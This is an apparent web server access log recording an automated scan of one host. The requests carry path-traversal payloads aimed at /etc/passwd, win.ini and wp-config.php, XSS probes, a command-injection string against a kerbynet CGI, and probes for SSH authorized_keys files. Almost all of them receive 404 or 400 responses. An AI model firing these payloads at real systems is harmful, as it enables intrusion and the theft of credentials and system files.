homer-1  | 2026-11-02T03:39:50.306953177Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /authorized_keys HTTP/1.1" 404 158 "-" "Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.306955469Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /GallerySite/filesrc/fotoilan/388/middle//.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0"
homer-1  | 2026-11-02T03:39:50.306958969Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /api/me HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
homer-1  | 2026-11-02T03:39:50.306960886Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /OS/startup/restore/restoreAdmin.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0"
homer-1  | 2026-11-02T03:39:50.306962677Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /api/me HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.306964386Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /ganglia/?tz=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"
homer-1  | 2026-11-02T03:39:50.306966302Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /ganglia/?tz=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.306968177Z 192.168.65.47 - - [02/Nov/2026:03:39:50 +0000] "GET /index.php?option=com_powermail&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 400 162 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.306969802Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /api/userrolelist/systemRoles?require-cfg.js HTTP/1.1" 404 158 "-" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.306971344Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /assets/kcfinder/browse.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
homer-1  | 2026-11-02T03:39:50.306972761Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /wt3/forceSave.php?file=/etc/passwd HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.306974427Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1 HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.308640886Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /libs/granite/offloading/content/view.html HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.308651844Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27 HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0"
homer-1  | 2026-11-02T03:39:50.308653677Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /xwiki/bin/view/XWiki/Main?xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain) HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/5.0"
homer-1  | 2026-11-02T03:39:50.308667969Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /wp-content/themes/Newspaper/style.css HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1"
homer-1  | 2026-11-02T03:39:50.308670136Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /client/cdnfile/C/etc/passwd?linux HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.308671677Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /client/cdnfile/C/etc/passwd?linux HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0"
homer-1  | 2026-11-02T03:39:50.308673136Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/603.1.10 (KHTML, like Gecko) Version/10.1 Safari/603.1.10"
homer-1  | 2026-11-02T03:39:50.308675177Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /xwiki/rest/wikis/xwiki/spaces/Main/pages/WebHome/history HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.308677136Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /assets/kcfinder/browse.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/16.2 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.308678636Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /wp-content/themes/Newspaper/style.css HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/14.0"
homer-1  | 2026-11-02T03:39:50.308680136Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /jolokia-agent.properties HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
homer-1  | 2026-11-02T03:39:50.308681552Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /install/page_start.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/4.0"
homer-1  | 2026-11-02T03:39:50.308682927Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1 HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.308684552Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /api/userrolelist/systemRoles?require-cfg.js HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0"
homer-1  | 2026-11-02T03:39:50.308686052Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0"
homer-1  | 2026-11-02T03:39:50.308687761Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /libs/granite/offloading/content/view.html HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.1 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.308690969Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10"
homer-1  | 2026-11-02T03:39:50.308692802Z 192.168.65.47 - - [02/Nov/2026:03:39:50 +0000] "GET /index.php?option=com_if_surfalert&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 400 162 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/115.0"
homer-1  | 2026-11-02T03:39:50.308694427Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1"
homer-1  | 2026-11-02T03:39:50.308696136Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27 HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
homer-1  | 2026-11-02T03:39:50.308697927Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1" 404 158 "-" "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.308699636Z 192.168.65.47 - - [02/Nov/2026:03:39:50 +0000] "GET /index.php?option=com_if_surfalert&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 400 162 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
homer-1  | 2026-11-02T03:39:50.308701177Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /_/.ssh/authorized_keys HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1"
homer-1  | 2026-11-02T03:39:50.308702886Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /xwiki/bin/view/XWiki/Main?xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain) HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.308704719Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0"
homer-1  | 2026-11-02T03:39:50.308706302Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /haproxy?stats HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.308707802Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /xwiki/rest/wikis/xwiki/spaces/Main/pages/WebHome/history HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.308709344Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /jolokia-agent.properties HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.308712261Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /config/list HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.308713844Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /install/page_start.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123"
homer-1  | 2026-11-02T03:39:50.308715261Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /classic/graph HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.308716761Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /wt3/forceSave.php?file=/etc/passwd HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.308718427Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /.authorized_keys HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"